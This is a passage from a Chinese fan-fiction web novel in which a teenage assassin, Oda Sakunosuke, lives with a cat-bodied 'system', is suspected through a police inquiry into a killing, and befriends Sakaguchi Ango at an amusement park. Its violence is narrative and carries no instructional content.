    系统趴在宿主的肩膀上时不时抓一下他的红发，喵喵叫着。


    [这是系统亲进入世界的时候就能做到的哦。系统亲无法自己影响世界但是系统亲屏蔽世界的能力可是很强的]


    系统悄咪咪骄傲，它很有用的，这么多届宿主，使用buff没有掩饰，它早就被抓去研究拆解了。


    没多关注系统口中不同的能量划分，它这些话在织田作之助的理解里就是不管buff生效的效果是什么都不会被力量记录。


    但不包括人。


    所以他还不能放心。


    织田作之助的指腹摸上脸侧蛇鳞的尖端，指尖翘起这片光滑的鳞片。细密的疼痛从鳞片后半部分密密麻麻地转导进大脑，亲手给自己来了一次痛楚的少年冷静松手。


    它是真实长在他血肉上的，不是贴在皮肤上。


    做了简单试验的织田作之助放下手。


    [如果被人看见了会被记住吗]


    [呃。会记住一会儿，如果时间不长大概只会被当是一场梦。除非那个人类短时间内反复看见了同一个buff生效]


    [这个时候要使用能量进行清除]


    系统的声音变得弱弱的，没办法，人类有灵魂，不是单纯的力量，它作为工具很难对付灵魂。


    这也是生命和能量的上下级区别。


    像是魔力，咒力这类都是工具般的能量体，它戏耍起来简直不要太简单。


    生命，这种可望不可及的珍宝就是主系统也没办法做到，它们系统虽然也能获得能量，但是不像宿主可以指挥它们用能量创造生命，它们自己是不可以做到的。


    只有生命才能创造生命。


    织田作之助放下手，[暂时帮我挡住这个buff，回家之后再说。我不能在这里变蛇]


    在日照下隐隐浮现荧光的鳞片短短几息之间就泛滥到少年的脖颈。


    织田作之助的目光一如既往的平静，反倒让身体的鳞片和利齿异变看起来不像是一场异化而是配饰。


    这让立于阳光下的红发少年并无沼泽伴生蛇类的阴冷，更像是由蛇化人的灵蛇。


    [好的，作之助亲


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    。系统亲会先收起buff]


    系统猫歪头看着织田作之助脖子上的蛇鳞，能开出特殊buff的宿主不少，不过一般开出来的负面buff类型。正面buff的很少，还是这类体质buff。


    说起来它的宿主前面开出来的魅力buff和速度buff也很特殊，这类正面提升buff也是有机会永久刻印在身体上的。


    不过概率极低，不像特殊buff，只要抽出来一次就能提升。


    异变暂时消失，织田作之助抬手拍拍猫脑袋作为奖励。


    [做的好]


    “喵。”系统乖乖叫了一声。身为年长的系统当然要适当满足小少年的接近，而且好不容易有了亲近宿主的机会它才不会拒绝，要努力贴贴，争取加好感。


    回到作之助亲的身体里可不会有这样的机会了。这位宿主不允许它贴贴他的灵魂，哪怕它的核心程序寄生在那里。


    织田作之助带着它离开，心里想着是这个点回去还有没有时间午睡。


    他的心里就是这样简单温馨的想法。系统带来的蛇化在他的心里没留下多少痕迹。他不是会让自己烦恼的人，异化后有什么后果，异化会到什么程度，这些他都没考虑。


    织田作之助答应了绑定，承认了这段关系，他内心的顿感就更强了。


    渐行渐远的身影在正午的阳光下留下两道影子。


    回家先洗了个澡清除血腥味和化学药水的气味，织田作之助低头两手抓着毛巾擦着头发。


    湿漉漉的头发在干燥吸水的毛巾下揉乱了方向。


    当织田作之助下楼，视线瞥向一旁看电视的猫。


    脑子里空荡荡的声音让他心里点头，它就是太无聊了才会又哭又笑，情绪激动。


    做好饭后，织田作之助将系统心心念念的小鱼干拿出来的时候，坐在沙发垫上的三花猫立刻扭头，一双猫瞳亮闪闪的看着小鱼干。


    “喵。”


    [谢谢作之助亲！您真是个好宿主！]


    织田作之助吃着自己的辣味咖喱，一边推给它一碟子水。


    [别吃的太急。记得喝水]


    他其实没太在意猫咪吃饭的禁忌，这是个猫妖还是异能者还不确定。


    他问过系统，但是它说得用能量。织田作之助想着给系统多点时间出来玩就没让它再查。


    反正这只猫不会察觉它被附身了。是猫妖还是异能者都没关系。


    等午休后他再把那双手寄给雇主。他没兴趣在房间里留两只死人手。


    午休时间，宽大舒适的软床上躺着的不是一个红发的少年，而是盘曲的巨蛇。


    蛇躯上的蛇鳞不像是当初脸颊一侧的灿绿，完全异化后它是一种深沉内敛的暗色，隐隐在蛇躯起伏间闪过绿意。


    织田作之助微阖着钴蓝色的蛇眸，危险锐利的蛇瞳被掩去一部分冷酷。


    不太舒服，有点热。


    织田作之助将头搭在枕头上，形状精致好看的蛇头埋进柔软的枕头。


    “嘶嘶。”


    粉色的蛇舌吐息两下，在利齿上卷了一下。


    很痒。


    织田作之助静置了两秒，钴蓝色的竖瞳瞥向一旁的三花猫系统。


    想咬。


    系统有点炸毛，它抬了抬爪子，弱声叫了一声。


    “喵？”


    [作之助亲，怎么了？]


    系统忍着逃跑的冲动，内心咬了咬手，如果有自己的身体它不要选猫，生理性的退缩好胆小。


    [没事。我去一下洗手间]


    织田作之助抬起头，滑下床去了洗手间。


    他还是别吓着它了。


    再说咬一个毛茸茸的猫，他下不去口。


    抬起蛇尾卷开把手，森然凌冽的墨蛇缓缓消失在门外。


    系统放松下来剁了跺脚，它身体都被吓麻了。


    冷水冲在蛇躯上，在鳞片上留下波光粼粼的水痕。


    织田作之助将蛇头放在盘曲的身体上，这下才舒服了一点。


    异化的过程有点热。


    闭眼等待时效结束的织田作之助闷闷地想。


    身体盘着很不爽。


    睁开眼看看被他填满的区域，织田作之助吐了下分叉的舌。


    “嘶嘶。”洗手间也有点小，以后买房子的时候要买大的。


    草野阳平的尸体被发现是在两天后的晚上，已经缺课两天的他被关系不错的同事报了警。


    名声不错的大学教师死亡，这在到处混乱的横滨也是大新闻。


    更何况这位死亡的草野阳平不仅是老师还是著名书画收藏家。


    但来到这里的警察没有发现任何有用的线索。


    唯一可疑的地方就是这处尸体旁留下的猫爪印和他缺失的手。


    由于城市建设的问题，这里监控不多，而且草野阳平本人由于童年经历排斥监控周围邻居都知道的事情，他人缘不错又给钱，大家也都没安装面向他那个方向的监控。


    歪歪扭扭的监控正好开辟出一条路径，往常草野阳平通过这条路让他的杀人行为不会暴露，今朝他的死亡也没人知道是谁赋予的。


    更何况织田作之助的buff异变过程让系统下意识处理了附近的监控。


    草野阳平的死亡被公布后，公众关注的不是他的死亡而是包围在四肢扭曲的青年周围的玻璃罐。


    那些无手尸体无一不说明一个事实，草野阳平就是近期被警方关注的连环杀人犯。


    舆论一片哗然。他们怎么也想不到作案的竟然是一位老师。


    警方顺着这条线拜访了所有被害者家庭，他们想要获得线索，但是并不容易。


    这次受害者的亲人都只表达凶手被惩罚的畅快，一点有用的线索也没有提供。


    包括最后一位受害者所在的坂口一家，这时全都苦涩着一张脸面对前来调查的警方。


    “坂口先生，请您和您的家人说明一下每个人在这三天时间内的行动轨迹。”高木警官跪坐在一旁，目光紧紧看向坐在正位的坂口真也。


    坂口真也绷紧脸，看起来在努力不让自己崩溃。


    “好的，高木警官，我们会尽力配合各位警官。”


    他口中的各位警官包括高木警官和他身边的警员，也包括他下位的那位看起来还是个少年的江户川乱步。


    黑发绿眸的少年眯起眼眸，手里紧握着眼镜。


    江户川乱步打量着坂口真也的神色，不放过他身上的任何一个线索。


    他的目光很少这么认真，看透这个世界过于简单，他这次第一次遇见无法解开的谜团。


    那处案发现场被处理的太干净了。他能推断出草野阳平缺失的手是这些被害者家庭的报复，也能推断出草野阳平的杀人手段，却不能推断出杀死草野阳平的是谁。


    “花代是个很温柔的女孩，她最爱去横滨各处采风，找灵感。我们也劝过她不该在这么乱的光景出去，可这孩子就是不听。”


    坂口真也眼中隐隐有泪光，眼白都是红血丝，显然在极力忍耐悲痛。


    “这两天，我们全家都在为花代准备葬礼。可怜棺木中只有双手。”坂口真也述说着，眼中隐隐有泪光，“我在和妻子一起为花代准备烧下去的衣物，希望她不会在地下寒冷。”


    “高木警官可以去查我们近期去的葬品店。我们也可以提供收据。”


    “好的，坂口先生。我们知道了。”高木警官记下他的活动轨迹正要询问收据，身旁青涩的声音打断了他。


    “你想要杀人吧！”说话的江户川乱步整理了脑子里吸收的信息，直接了当的开口。


    “收到被割下的双手后，你无法承受失去爱女的痛苦产生了杀死了草野阳平的想法。”


    黑发的少年笃定，语气斩钉截铁划破了此时泪伤痛惜的气氛，他面前这个坂口真也的中年人在说谎。他不仅仅是在准备葬礼！


    草野阳平确实的双手证明这是一场报复杀人事件。只是他无法推断出是买凶杀人还是这些人自己出手。


    这个中年人刚刚那一瞬间在说谎。他在雇佣杀人。


    确认这一点的江户川乱步神色并没有轻松。他看透身边这个警官大人不愿意按照这条线索查下去。


    高木警官的脸皮一紧，他怎么会鬼迷心窍将这个警校生带过来了，都知道这个少年每次口无遮拦的能力了还不长记性。


    他这很可能是污蔑，是不讲证据的指控，坂口先生作为横滨政员只会生气这样莫须有的指控。


    要知道这位是来他们警局催促调查最勤快的受害者家人。他们警局的每个人都知道这位父亲有多痛苦。


    哪怕真有这样的可能也不该在问询还没有彻底结束就下结论。


    高木警官真后悔带江户川乱步过来了。本来带着警校生就不合适，他还没礼貌的打乱问询过程。


    希望板口先生不要生气。


    坂口真也坐直了身体，双手紧握，怒瞪着这个少年，“我们的女儿是最后一个死亡的，但我们做不出杀人这样违反法律的事情。”


    “坂口一家一直是声誉极好的人家，我们作为分家也遵从主家的规训为政府服务。还请这位见习警员不要再提起女儿的痛苦了。”


    江户川乱步开口想要证明自己的推理，他判断出他说他们做不出杀人这样的事是实话，那个只剩下雇凶杀人这个可能。


    他目视这个上位者发问：“你联系杀手的手段是。”


    高木警官捂住江户川乱步的嘴，厉声打断他的话，“别说了，江户川。这不是你说这些的时候。”


    江户川乱步扒拉下他的手，瞪着这个大人，“为什么不是时候！这是真相的线索！”


    “追求真相就是警官应该做到的事情，你在退缩，在害怕这个人的权势。”


    毫不客气的扒开言语的遮羞布暴露高木警官内心的真实。


    高木警官僵了脸，“够了，你真是太乱来了！”


    江户川乱步不愿意放过这一条线索。


    这是唯一能查出真相的线索。他的头脑比大多数人聪慧，收集信息的能力更是卓绝。


    这是他第一次遇见难解的难题。


    追查他买凶杀人的途径，通过这个途径找到杀手。


    他站起来，帽沿下露出冷色的绿眸。


    “告诉我你买凶杀人是通过什么？熟人，属下，还是网络？”


    高木警官转身和坂口真也赔笑，“您别怪这个孩子，他就是年轻，年轻气盛，有点口无遮拦，我们继续说案情。”


    坂口真也不理会这个认真的少年，他看向高木警官，“请将这个无理的人送离这里，否则我和我的家人无法参与警官的问询。他的指控完全是污蔑。”


    高木警官看出坂口真也脸上的怒气，心下苦涩，江户川太不会看场合了。


    让人把他抱出去，高木警官继续问询。


    他没再和江户川说一句话。


    江户川乱步鼓着脸坐在路边，他就是想证明自己的能力。


    他可以当好警察。


    爸爸妈妈离开后，他就想要证明他可以自己活下去，破格进入警校后就想要证明他可以成为和爸爸一样厉害的警察。


    可是他好像不太容易做到。


    这些大人总是有各种理由不听他在说什么，无视他的推理。


    穿着小披风的少年坐在路边，微垂的眼，绿眸中并不服输。


    他不相信自己的推理无用。


    既然无法用一次的推理推断出真相，那就用笨办法，用排除法一条条路去试。


    织田作之助正在给系统带帽子。他在家里养了两天猫，今天看见它对电视没兴趣就带它出来玩。


    现在他们在游乐园一家射击气球成功后就能赢得玩具的小摊前。


    织田作之助刚刚给系统赢了一个小帽子。


    黄色蕾丝边的小帽子本来是玩偶上的，系统看见想要戴一下。这是它的新体验，有机会当然要试试想干的事情。


    织田作之助将两根白色带子聚拢在猫咪的下颌，手指一绕轻松打一个活结。


    [作之助亲！你真厉害！]系统带着想要的黄帽子喵喵叫了两声，感谢完就想跳上去。


    这只三花猫带上帽子有点丑，织田作之助默了默没评价系统的审美，抬手拒绝这只猫再落在他身上的动作，顺势抱着它。


    [我们去坐摩天轮。你刚刚想要坐]织田作之助走向人最多的地方，耐心排队。


    拆了帽子的玩偶被他随手塞给了一个小女孩。系统不喜欢，他留下也没用，扔掉距离垃圾桶又太远，不如直接给别人。


    白白得了个玩偶的小女孩高兴地笑着，双手举起娃娃对爸爸说：“爸爸你看是哥哥给我的娃娃！”


    她的爸爸一耳朵听着女儿的高兴，一低头，手里射击的动作都顿住了，满眼迷茫。


    “你手里的娃娃怎么来的？”


    “就是大哥哥给的。”女孩笑着说，笑容天真烂漫。


    等她的爸爸问完女儿张望去看四周，织田作之助已经不见身影。


    坐在摩天轮里，夕阳落进玻璃窗在厢体内留下暖色的光线。


    红发的少年抚摸着想要亲近他的系统猫。


    他不管这是什么猫妖，现在它是系统，仅此而已，所以他摸起来没什么负担。

 23.杀手织

    系统得寸进尺地跳上织田作之助头，扒拉着他的头发去看摩天轮外的风景。


    它有一届宿主最爱坐摩天轮，天天说它是不能亲眼看看才觉得无趣。


    呃。猫眼看着外面，一眼望去就是各种建筑和人类。系统没再看下面，抬头看了看天空。


    高悬的太阳在湛蓝的天空上格外闪耀，有点闪猫。


    系统不太感兴趣的低头，它还是觉得坐摩天轮没什么意思。


    [怎么了？]


    织田作之助垂眸看着窝在他怀里三花猫。


    他还以为它会看久一点，这么快就不张望外面了。


    [不好玩吗？]


    他猜测道。


    [嗯。确实不怎么好玩]


    本来想虚伪点说和作之助亲在一起怎么也不会无聊，很好玩，但是系统想了想还是算了，对作之助亲说大谎，它怂。


    织田作之助看了眼窗户外，蓝天白云，晴空万里。


    这样的天气他挺喜欢的。


    系统不太感兴趣吗。


    忽然视线看见了下方一处十分热闹的地方，织田作之助心下一动。


    [等下去了，我带你去看表演]


    [好。谢谢作之助亲！]


    系统一下子坐了起来，一双耳朵向后撇了撇，满目幸福的看着这位宿主。


    天啊，这简直是它最棒的任务经历了。作之助亲还关注它的喜好！


    是的，看表演是这个系统这两天新培养的爱好。


    通过电视机。


    这只猫大有向宅家小猫发展的趋势。


    看了两天还是织田作之助怕它把眼睛看坏带它出来玩。为了不被莫名其妙出现的枪击打扰还特意选了比较安全的地区，找了个大型游乐园。


    织田作之助带它下来，找到表演区域。


    胸前客观的男演员正正在灵活摆尾展示水下舞姿，水花撩动间周身围满了鱼。


    第一次亲眼看人鱼表演的系统猫睁大了猫眼睛，爪子张开了花。


    想抓。


    想挠。


    还想吃！


    被欲望支配的系统猫嘴边被递上了小鱼干。


    一口咬住嘴巴边的小鱼干，三花猫的脸上出现狰狞的神情。


    可恶，咬不到里面的鱼。


    不过。


    它猫眼睛眯起，宿主大人做的小鱼干真好吃，它好像这两天都有点胖了。


    “喵。”


    [作之助亲真好]


    一手抱着它，织田作之助再喂它吃了一条小鱼干。


    这时身后传来两道声音。


    “堂哥！”明显是小女孩的声音气愤地喊着，“我要的是小美人鱼，不是发胖男人！只有小美人鱼才能实现愿望！”


    “男美人鱼也可以。你低点声。”较为冷静的少年音想要压下堂妹不满的声音。


    织田作之助感觉到这两种声音离自己越来越近，转头淡淡瞥了一眼，然后愣住了。


    这两人在打架？这么狼狈？


    “笨安吾，臭安吾。你骗人！你说这里有美人鱼的！”黑发的小孩抓着堂哥的头发使劲揉着，两条小腿扒着脖子坐在少年的背后。


    黑发褐眸的少年堪堪扶着眼镜，“我说你别乱动了，你要来看美人鱼我就带你来，你还想干什么？”


    “我不要告诉你。这是秘密，秘密说出来就不灵了。”小孩动作更激烈了。安吾就是在骗她！


    他皱眉，眼镜快掉了。


    不是快，真掉了。


    这副眼镜可是他新配的，不能摔坏了。坂口安吾赶紧低头去捡。


    一低头，后背的小孩正好腿一蹬，不小心把他当踏板飞出去了。


    坂口安吾惊诧地感觉到脖子后的空荡，抬头喊道：“百合子！”


    在空中飞出去一段距离的小孩直直的就要撞到织田作之助身上。


    伸手抓住这个小孩的后衣领，织田作之助冷冷看了一眼。


    还在哭的坂口百合子被扫了一眼哭腔怂怂地止住了。


    小孩抬头看了看抓住她的人，抽噎的说：“谢谢哥哥，我差点就摔了。”


    织田作之助没再看她，转头看几步之外的黑发少年。


    带好眼镜，坂口安吾快步走过来，接过他的堂妹。


    穿着小上衣小短裤的坂口百合子埋进堂哥的怀里，绑着两个小辫的小女孩哭着脸满脸庆幸，她跟安吾哥哭是仗着他们是家人，他对家人脾气好又看在她没了姐姐带她出来散心。


    这个大哥哥才是真的吓人。


    想起温柔的姐姐，坂口百合子忍不住埋头哭了起来，她想要找到美人鱼许愿让姐姐回来！


    被她抱着的坂口安吾怔愣地看着织田作之助，满眼惊讶，身体都出现了僵硬的生涩，眼前这个红发少年，他，他，他。


    是个杀手！


    不仅内心惊讶，坂口安吾半开口，有点恍惚地说：


    “你是个杀……”手。


    织田作之助眼疾手快的抬手捂住面前这个少年的手。


    坂口安吾的嘴被叩住，眼前一黑，胸口一疼，剧烈的疼痛让他瞬间闭嘴。


    被织田作之助从坂口安吾胸口扒下的坂口百合子满眼惊色。


    她哥被打了！


    织田作之助低头凑近坂口安吾的耳边，声音生冷。


    “你最好闭嘴，乖乖跟我走，否则我会杀了你。”


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    站在黑发小女孩旁的小猫喵了声。


    [作之助亲，他是你上一单任务雇主兄长的孩子]


    系统只是试试它能不能提醒作之助亲更多的东西。


    结果还真能说出来。


    它再喵喵叫了一声。


    [而且他身上和你的缘分很强哦]


    缘分？


    织田作之助还凑在坂口安吾耳边，比怀中少年高些的身高让他轻易将人叩近威胁。


    他和这个人有什么缘分？


    微微皱眉后，织田作之助回忆起在海边时他的愿望。


    有一个可以为他复仇的挚友。


    坂口安吾完全没被吓到，少年的圆眼镜闪过暗光。


    超酷！


    这真是个杀手唉！


    还是帮他堂姐报仇的杀手！


    雇佣榜第一的杀手居然是个少年！


    情报处理能力极强的坂口安吾在下意识用了一次能力后串起了所有信息，得出这样的结论。


    十三岁的少年正是叛逆的时候，还没长成日后沉稳冷静的大人，坂口安吾还想说点儿什么。


    比如，你杀那个凶手的时候真是干脆，干的漂亮。


    剁手的时候也很利落，完全不费力，怎么做到的。


    耳边的威胁也没在意，他堂堂坂口少爷怎么会在意一句威胁。


    何况听他的意思不是还没杀他吗。就是他力气真大，他胸口好痛，要不要这么用力，不至于，他又不是不听话。


    织田作之助还按着他的脸，原本应该松开的他正在冷着眼想着这件事。


    他要不要把那个缘分认为是挚友。


    织田作之助向系统确认。


    [你说的缘分，这个人会是我的挚友吗？]


    [这个程度的缘分，可能哦]系统喵了一声。


    再喵了一声。


    [还可能是家人或者伴侣哦]


    织田作之助听后动了动眼眸，他的母亲只有他一个孩子，母亲那边的亲人早就断了联系去了国外，父亲那边已经没有亲人了。


    这个人又和他长的不像。


    可以排除家人的选项。


    伴侣更不可能，他性取向是女。


    见过不少糜丽场面的红发少年早早认清了自己的性取向，而且没有找伴侣的打算，除非有和他母亲一样聪明伶俐的女人出现。


    织田作之助皱眉，脑子一疼。他又想起在那个黑窟的经历了，尤其是想起某个喜欢给人当妈的恶劣女人，听说她回俄罗斯了。


    懒得再去想，缓了口气，织田作之助眼眸闪过光芒，那这个人很可能是他的挚友。


    他想要一个挚友的愿望这么快就能实现了。

 24.杀手织

    怀里的少年被捂着嘴，呼吸却没乱，织田作之助淡淡看了眼坂口安吾的脖颈松开了手。


    呼吸没乱，身体也很放松。


    织田作之助后退一步拉开距离，这个人不怕他。


    即使用了他不知道的方式得知他是个杀手之后也不怕他。


    胆子挺大。


    被放开的坂口安吾整理了一下微乱的和服，调整呼吸才抬头。他没织田作之助想的那么淡定，通过异能看见织田作之助下手有多利索，坂口安吾清醒知道对方有多危险。


    其实还有点兴奋。


    源自对杀手的好奇。


    坂口安吾推了推眼镜，理智压下了活跃的情绪因子。


    “我不会说的，你的身份我会保密。”


    坂口安吾友好地笑了笑。


    织田作之助打量着他的笑容，内心琢磨他这句话的可信程度。


    “你叫什么名字？”


    问出这个问题的织田作之助还是相信了坂口安吾的话，决定给这个未来挚友一点暂时的信任。


    “坂口安吾。你呢。”黑发的少年扬了扬下巴，嘴唇上方的一点黑痣平添一抹肆意。


    坂口百合子想着她哥不会傻了吧，他刚刚结结实实被打了一拳，居然和打他的人做自我介绍。


    在小孩视角里她哥属实是莫名其妙挨打。不过打人的是刚刚从空中接住她的人，她哥又好像不排斥被打了一拳，坂口百合子一时不知道该不该上去帮堂哥。


    黑发小女孩站在原地和旁边的三花猫一起安静看着两人的交流。


    “织田作之助。”


    红发少年勾起唇角给出了真名。紧接着织田作之助有些皱眉，他打坂口安吾的时候用的力气有五成，肯定把他打疼了。


    想到自己还打定主意接近坂口安吾，织田作之助体味到一丝陌生的无措。


    交朋友前把人打了要怎么办？


    织田作之助脸上的微小笑意转瞬即逝，但坂口安吾没有错过。黑发的少年没计较被打一拳。是他先差点把对方秘密身份说出口，织田作之助没起灭口的心思已经很好了。


    想着织田作之助刚刚的笑意，板口安吾心想：他站在那完全看不出是个杀手，笑起来就更不像了，看着就是个普通少年。


    “那我叫你织田好了，你可以叫我坂口。”


    坂口安吾说着靠近了织田作之助吐槽道：“你刚刚也太用力了吧，我什么还没说出口你就打我一拳。”


    “打我就算了，还捂嘴不让喊痛。我现在胸口还闷疼着。”


    正皱眉感受那一丝无措地织田作之助听着他抱怨微微有点愣神，视线扫了一眼坂口安吾的胸口。


    他说“打他就算了”？


    这样的开始，他不生气？


    织田作之助有些好奇在原来的未来里他和这位挚友是什么相处方式，那位坂口安吾也像这位一样喜欢，呃，挨打？


    好奇原来的坂口安吾的想法只是一瞬，织田作之助只认面前这个人，未来如何，过去如何，与他无关。


    那种时间线上的挚友不属于他，也不是他的挚友。


    织田作之助冷漠地想着这些没拒绝面前这个坂口安吾的靠近。


    他看向坂口安吾的目光中多了几分期待。


    “抱歉，这里人多我不想你说出我的秘密。”织田作之助诚恳道歉。


    “找个地方聊一下，怎么样？”坂口安吾主动出击，他还不知道面前的织田作之助对他有了点奇奇怪怪的印象。这个邀请一方面是感谢对方找出了杀害他堂姐的杀手，一方面是他也好奇杀手的生活。


    他很少在横滨生活，大部分时间在新泻，这次如果不是堂姐出事他不会和父亲来横滨。他知道伯父雇佣了杀手还是凶手的手被寄到了家里被他撞见了。


    家里用了很多资源都没找到的凶手被眼前这个人轻易找到，看来织田作之助的实力远超他的年龄。


    坂口安吾想着，横滨看起来比新泻有意思多了，不管是混乱的黑手党还是面前这个杀手。


    他或许可以和父亲说明情况留在这里。


    坂口安吾想着父亲不同意也没关系，他可以离家出走，反正不是第一次了，父亲也该知道他不玩够了就不会回去。


    叛逆的黑发少年一边抱着堂妹跟着织田作之助一边心里谋划怎么留在横滨。


    系统看看被抱在怀里的小女孩再抬起自己的爪子看两眼。


    它刚刚应该扒在作之助亲的肩膀上不该落地。这个脏爪子让作之助亲不愿意抱它了。


    系统撇撇嘴，如果有自己的身体它要不容易脏的。


    在宿主脚边落爪迈步的系统猫突然一僵，它怎么可以对拥有身体这件事有不该有的期待。


    猛地摇头甩干净这些杂念，系统继续轻盈地迈步跟在宿主身边，看起来和普通小猫没有区别。


    织田作之助和坂口安吾最后在游乐园里的饮品店落座。坂口百合子一路上没吵着找美人鱼，她还记得先前被织田作之助冷冷看了的那一眼，这时候不敢再红发大哥哥身边哭闹，


    坂口安吾给她买了饮料就让她在旁边和猫一起玩，他和织田作之助坐在桌子的两侧面对面聊着。


    坂口百合子喝着饮料想着安吾哥在干什么。小眼神放在饮料杯和猫咪身上，视线稳稳避开织田作之助的存在。


    那个大哥哥超吓人，坂口百合子想了一会儿也没明白他们怎么坐一个桌子上的。


    还是安吾哥主动邀请的。


    难不成安吾哥想要和这个大哥哥做朋友？


    坂口百合子绞尽脑汁也就想出这么一个理由，再回神身边的猫已经不在了。


    “你带我来这里有什么想说的？”织田作之助看着对面靠着椅子，两手垂在扶手外，一脸我很累的人问道。


    “你没有什么想问的？”坂口安吾瘫在椅子里，抱小孩抱了一路，他手臂快酸死了，完全不想动。


    百合子被织田吓了一跳，他又要和织田找个地方聊，他不抱着她，她是不会跟着他过来的。


    织田作之助的问题被反问回来，他歪了歪头，坂口也不知道该说什么？


    问题是他也不知道。


    织田作之助不知道怎么和一个预定的挚友相处。他信任系统，所以系统给出的信息他也信任着，所以他相信坂口安吾是他挚友这件事。但是他对这个新事物还很陌生。


    “你有异能力，它是什么？”思索后织田作之助问了这个问题。他猜坂口是通过异能知道他是个杀手的。


    “堕落论，能读取物品残留的记忆。从你手上接过百合子的时候我从你衣服上读取的记忆。”


    坂口安吾没有藏着异能的效果，对异能者来说暴露异能名称是一种增强效果的手段。


    他的异能力不是被动的，当时心血来潮想要读取这个人的信息也是因为他看见织田的第一眼就产生了好奇。


    他这句话足够了。织田作之助知道了自己暴露的关键原因。


    织田作之助闻言低头看了一眼身上的白衬衣，暴露他的是这件衣服。


    以后任务结束衣服也得销毁了。


    记下这一点，织田作之助提醒自己要更谨慎一点，别让麻烦找上门。


    气氛一时沉默。


    系统咬着纸巾跳上桌子，将纸巾放下用鼻头向织田作之助的方向推了推，再抬头轻声喵了一声抬起爪子。


    [作之助亲，系统亲想要擦爪子]


    [亲亲可以帮忙吗？]


    织田作之助抽出纸巾，一只手握住抬起的猫爪。


    [你自己拉开书包拿的？]


    他手里的纸巾是出门的时候他装在书包里的，他记得书包是合上的。


    系统喵了一声。


    [是的，亲亲。系统亲拿出来纸巾之后有再拉上去，书包现在是合上的]


    用嘴拉开拉链又拉上去的系统咬了咬牙齿，就是单纯咬牙。咬硬物之后它感觉自己的牙齿痒痒的。


    织田作之助认真擦干净猫爪子，他注意到系统咬牙的动作，心里疑惑这只猫是不是饿了才咬空气。


    四个爪爪都擦干净后织田作之助拿出小鱼干让它在桌子上吃着自己去洗个手。


    看着他回来，坂口安吾正好休息过来了就坐直身体问：“你就想问这一个问题？没别的想说的了


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    ？”


    坂口安吾也知道他们之间好像真没什么可聊的。织田似乎很相信他不会说出口他是个杀手也相信他不会和警方举报，问完他怎么知道他身份就不再说话了。


    “你对我没有好奇心吗？年龄，身份，爱好，你都可以问我。”坂口安吾抱胸看着织田作之助。


    坂口百合子咬着饮料抬头不可思议的看着自家堂哥，安吾哥交朋友的方式就这？


    六岁的坂口百合子心想她在学校都没见过这么奇怪的方式交朋友了。


    系统看着坂口安吾眨了眨眼，这沟通方式，不知道的还以为他被查户口了。


    “你也没有问我这些问题。”织田作之助说道。


    “这是我的诚意，我先袒露一部分信息，你交换给我你的信息。”坂口安吾忽略身边直勾勾盯着他看的两个小动物。


    织田作之助抬眸看他，“你想要和我做交易？用你的信息？”


    他的蓝眸染上一丝冰凉，经历过藤原这么个失败例子织田作之助不希望新的关系里有太多交易的成分。


    坂口安吾一惊，松了抱胸的手抓着桌子向前倾身，“不是啊，你怎么会想到交易上面去。我这是向你交付信任！”


    织田这是什么脑回路。


    他都敞开信息大门告诉他你想进就进，他都可以说，只要他愿意同样对他。


    结果他的示好被当成了情报交易！


    直接起身逼近，坂口安吾盯着织田作之助，视线望进钴蓝色的眼眸里，把话说的直白了一点，“我对你很感兴趣，想要和你交个朋友。我不是要和你做任何交易，明白吗？”


    能让坂口安吾说出这话，属实是被织田作之助气到了，偏偏这份气愤来的没有源头更没理由发泄，所以他的语气并不激烈和正常聊天一样。


    织田作之助坐在椅子上看着面前俯身看着他的少年，目光中含着惊讶。


    之前紧扣坂口安吾下半张脸警告其噤声的织田作之助现在被坂口安吾居高临下地警告了。


    一个警告对方别暴露身份，一个警告对方别再误会他。


    织田作之助回想坂口安吾突然的爆发和贴近的那一幕，社交距离的突破和对方口中的话让他惊讶。


    坂口安吾有和他交个朋友的意思。


    织田作之助觉得自己稍稍体会到系统说的缘分是什么了。在他想要结识坂口安吾的时候，坂口安吾也想要结识他。


    织田作之助点了下头，“好。我知道了你不是在和我做交易。”


    说着织田作之助抬手揉了揉坂口安吾的头发。


    指节在黑发间停留的时间极短，安抚意味却更重。


    圆眼镜背后，坂口安吾睁大了双眼不可置信，织田刚刚是摸他头了吧！是吧！


    后仰了脖颈，坂口安吾一屁股坐回自己的座位，瞬间拉开两个人的距离退回正常的社交距离。


    推了推眼镜，坂口安吾镇定道：“你刚刚干什么？”


    织田作之助的手就放在桌上，他淡定道：“你看起来很生气，我希望你消气。”


    这是他从系统身上实验出来的，他摸猫脑袋的时候系统总是很高兴。


    坂口安吾一言难尽地看着这个没有社交距离的人，谁告诉他摸头就能让人开心的。


    “知不知道男人的头摸不得，你真是没有距离感过头了。”坂口安吾吐槽了一句，“只此一次，不许再摸我的头，以后你别随便摸一个男人的头，小心被打。”


    后面那一句显然是因为他不久前被织田作之助一手捂嘴，双手被扣在身后，耳边贴近对方的声音。


    原本他以为这只是织田作之助想要压制他别搞小动作，结果这么一摸头他算是明白了。


    织田作之助这个人距离感很跳跃。


    织田作之助点头应下，“好，我知道了。”


    动物喜欢抚摸，人不喜欢。


    坂口安吾仔细看了一下他，他就说一句，织田就应下了。


    他这么好说话？


    胸膛幻痛了一下。织田先前毫不客气打的那一拳。


    织田作之助两面的反差让坂口安吾晃神，接着意识到什么。

 25.杀手织

    他看向织田作之助试探地问：“加个联系方式，以后常联系？”


    “好。”


    织田作之助拿出手机用行动表明了他同意这件事。


    交换联系方式后坂口安吾看着手机里的联系号码，手指摩挲了一下手机。


    是因为他刚刚冲动说出口的交朋友？织田这是在回应那句话吗。


    几次张口，坂口安吾还是没有勇气问他们算不算朋友，他们才刚认识。


    说起来不可思议，在织田作之助面前他的防备心几乎没有。


    织田作之助看出他在犹豫什么，他轻轻敲击了几下桌面让坂口安吾回神看他。


    对视上坂口安吾的目光，织田作之助沉稳道：“不用在意时间的长短，我很想认识你。”


    “我也是抱着交朋友的心思坐在这里，所以你不必犹疑我的想法。”


    “坂口，我和你交换联系方式确实是我愿意和你交友的开始。”


    坂口安吾怔愣地看着认真说明的织田作之助，对方格外坦诚，这不像是一个杀手。


    杀手不该诚实。


    可他在这里的表现也不像一个政客的儿子。


    他的心不该起伏不定，有不该有的冲动。


    坂口安吾心下想着转念就把身份抛到脑后点了头。


    “我也是。”


    晴空的阳光下，对坐的两个少年眼中点染了笑意。


    游乐园一别后坂口安吾的联系方式在织田作之助的手机里安静待了两天。


    这两天他带着系统逛遍了横滨让他多接触外界一下时间。


    夜晚过半，织田作之助让系统找个偏远的地方释放它附身的身体。


    织田作之助坐在长椅上，漆黑宽大的兜帽遮住了他的上半张脸只露出白皙的下巴和薄唇。


    树叶中卷起风的吐息，织田作之助等到了系统的回归。


